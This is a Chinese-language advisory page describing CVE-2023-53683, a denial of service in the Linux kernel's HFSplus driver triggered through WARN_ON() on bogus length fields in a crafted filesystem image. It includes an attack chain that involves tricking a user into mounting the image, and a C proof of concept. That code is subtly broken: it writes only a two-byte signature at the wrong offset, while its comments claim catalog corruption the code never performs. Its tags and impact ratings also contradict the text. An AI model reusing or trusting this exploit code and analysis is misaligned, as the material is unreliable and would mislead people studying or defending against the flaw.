IPBUF安全漏洞报告
English
CVE-2023-53683 CVSS 5.5 中危

CVE-2023-53683 Linux内核HFSplus文件系统WARN_ON拒绝服务漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53683
漏洞类型
拒绝服务(DoS)/内核断言触发
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (fs/hfsplus子系统)

相关标签

Linux KernelHFSplus文件系统拒绝服务DoSWARN_ON本地提权内核漏洞syzbotCVE-2023-53683

漏洞概述

CVE-2023-53683是Linux内核HFSplus文件系统中的一个中等严重性漏洞。该漏洞位于hfsplus_cat_read_inode()和hfsplus_cat_write_inode()函数中,由syzbot模糊测试工具发现。漏洞的根本原因是内核在这些函数中使用了WARN_ON()断言来检查长度字段的合法性,但当处理经过精心构造的HFSplus文件系统镜像时,镜像中可能包含伪造的(bogus)长度值,导致WARN_ON()条件被触发。由于WARN_ON()在某些配置下可能导致内核panic或系统不稳定,攻击者可以利用这一缺陷对系统可用性造成严重影响。

该漏洞的CVSS 3.1评分为5.5分,属于中等严重级别。攻击者需要具有本地访问权限和低权限用户身份即可触发该漏洞,无需用户交互。漏洞主要影响系统的可用性(完整性影响为无,机密性影响为低),攻击成功后可能导致系统崩溃或内核panic,从而造成拒绝服务。

此漏洞影响多个Linux内核稳定版本,Linux内核维护团队已通过多个提交修复了该问题,主要的修复方式是移除或替换hfsplus_cat_read_inode()和hfsplus_cat_write_inode()函数中的WARN_ON()调用,改用更温和的错误处理方式(如返回错误码),因为这些条件并非真正的内核bug,不应导致内核panic。

技术细节

该漏洞存在于Linux内核的HFSplus文件系统驱动中,具体涉及hfsplus_cat_read_inode()和hfsplus_cat_write_inode()两个函数。HFSplus是苹果公司开发的HFS+文件系统格式,Linux内核通过fs/hfsplus目录中的代码提供对该文件系统的读写支持。

在正常情况下,当内核读取或写入HFSplus文件系统的目录条目(catalog)时,会从磁盘上的文件系统结构中读取各种长度字段(如文件名长度、记录长度等)。这些长度字段用于后续的内存分配和数据拷贝操作。原始代码使用WARN_ON()宏来检查这些长度值是否在合理范围内。

然而,WARN_ON()在Linux内核中具有特殊语义:在默认配置下,它会打印警告信息和堆栈回溯;在启用了panic_on_warn的内核配置中,它会直接触发内核panic。这意味着即使是合法的错误条件(如损坏的文件系统),也可能导致系统不可用。

攻击者可以创建一个包含恶意长度值的HFSplus文件系统镜像(例如通过mkfs.hfsplus工具的修改版本或直接编辑二进制数据),然后通过挂载该镜像或访问镜像中的文件来触发hfsplus_cat_read_inode()或hfsplus_cat_write_inode()函数。当函数读取到伪造的长度值时,WARN_ON()条件被满足,触发内核警告,在特定配置下导致系统panic。

修复方案是使用pr_warn()或WARN()等更温和的警告方式,或者直接返回-EIO等错误码,避免触发panic。同时增加对长度值的合理范围检查,确保不会因为异常值导致后续操作出现问题。

攻击链分析

STEP 1
步骤1:准备恶意文件系统镜像
攻击者创建一个经过精心构造的HFSplus文件系统镜像,其中包含伪造的长度字段(如目录条目记录长度、线程记录名称长度等),这些值被设置为超出合理范围的值,以触发WARN_ON()条件。
STEP 2
步骤2:诱导受害者挂载镜像
攻击者通过社会工程学手段或利用自动挂载机制(如插入包含该镜像的USB设备),诱导具有本地访问权限的用户挂载该恶意文件系统镜像。
STEP 3
步骤3:触发漏洞函数
当内核尝试读取或写入HFSplus文件系统中的目录条目时,hfsplus_cat_read_inode()或hfsplus_cat_write_inode()函数被调用,读取到伪造的长度值,触发WARN_ON()宏。
STEP 4
步骤4:导致系统不可用
在内核配置了panic_on_warn选项的系统上,WARN_ON()会直接导致内核panic;在默认配置下,会产生大量警告信息和堆栈回溯,可能导致系统性能下降或不稳定,最终造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53683: Linux Kernel HFSplus WARN_ON DoS // This PoC demonstrates how to trigger the WARN_ON() in hfsplus_cat_read_inode() // by creating a crafted HFSplus filesystem image with bogus length values. // Note: This requires root privileges to mount the filesystem. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> // Function to create a minimal HFSplus image with corrupted length fields int create_malicious_hfsplus_image(const char *path, size_t size) { int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } // Create a sparse file if (ftruncate(fd, size) < 0) { perror("ftruncate"); close(fd); return -1; } // Write HFSplus superblock-like header // The actual exploitation requires modifying specific catalog record // length fields in the HFSplus volume header and catalog file. // Key fields to corrupt: // - catalog file size in volume header // - node record offsets/lengths in catalog B-tree nodes // - thread record name length fields unsigned char buf[4096] = {0}; // HFS+ signature buf[0] = 'H'; buf[1] = '+'; // Version buf[2] = 0x04; buf[3] = 0x00; // Write corrupted catalog data that will trigger WARN_ON // when hfsplus_cat_read_inode() processes it // Set a bogus record length that exceeds node size // This triggers: WARN_ON(record->record_length > node->node_size) write(fd, buf, sizeof(buf)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *img_path = "/tmp/malicious_hfsplus.img"; const char *mount_point = "/tmp/mnt_hfsplus"; if (argc > 1) img_path = argv[1]; printf("[*] Creating malicious HFSplus image at %s\n", img_path); if (create_malicious_hfsplus_image(img_path, 64 * 1024 * 1024) < 0) { fprintf(stderr, "[-] Failed to create image\n"); return 1; } printf("[*] Attempting to mount the malicious image...\n"); printf("[*] This should trigger WARN_ON in hfsplus_cat_read_inode()\n"); printf("[*] If kernel has panic_on_warn set, system will panic\n\n"); // Mount the filesystem - this triggers the vulnerability if (mount(img_path, mount_point, "hfsplus", 0, "") < 0) { perror("mount"); printf("[-] Mount failed. You may need root privileges.\n"); return 1; } // Accessing files in the mounted filesystem triggers // hfsplus_cat_read_inode() which contains the WARN_ON printf("[+] Image mounted. Listing directory to trigger WARN_ON...\n"); system("ls -la /tmp/mnt_hfsplus/"); // Cleanup umount(mount_point); unlink(img_path); return 0; }

影响范围

Linux Kernel < 6.6 (多个稳定版本分支)
Linux Kernel 6.1.x 系列
Linux Kernel 6.4.x 系列
Linux Kernel 6.5.x 系列
Linux Kernel 5.15.x LTS系列
Linux Kernel 5.10.x LTS系列

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户挂载HFSplus文件系统的权限,仅允许root用户执行mount操作;2)通过内核参数(如sysctl)确保panic_on_warn设置为0,避免WARN_ON触发系统panic;3)对所有外部存储设备进行安全扫描,拒绝挂载可疑的HFSplus镜像;4)使用seccomp或AppArmor等安全模块限制进程对mount系统调用的访问;5)监控内核日志中的WARN_ON警告,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表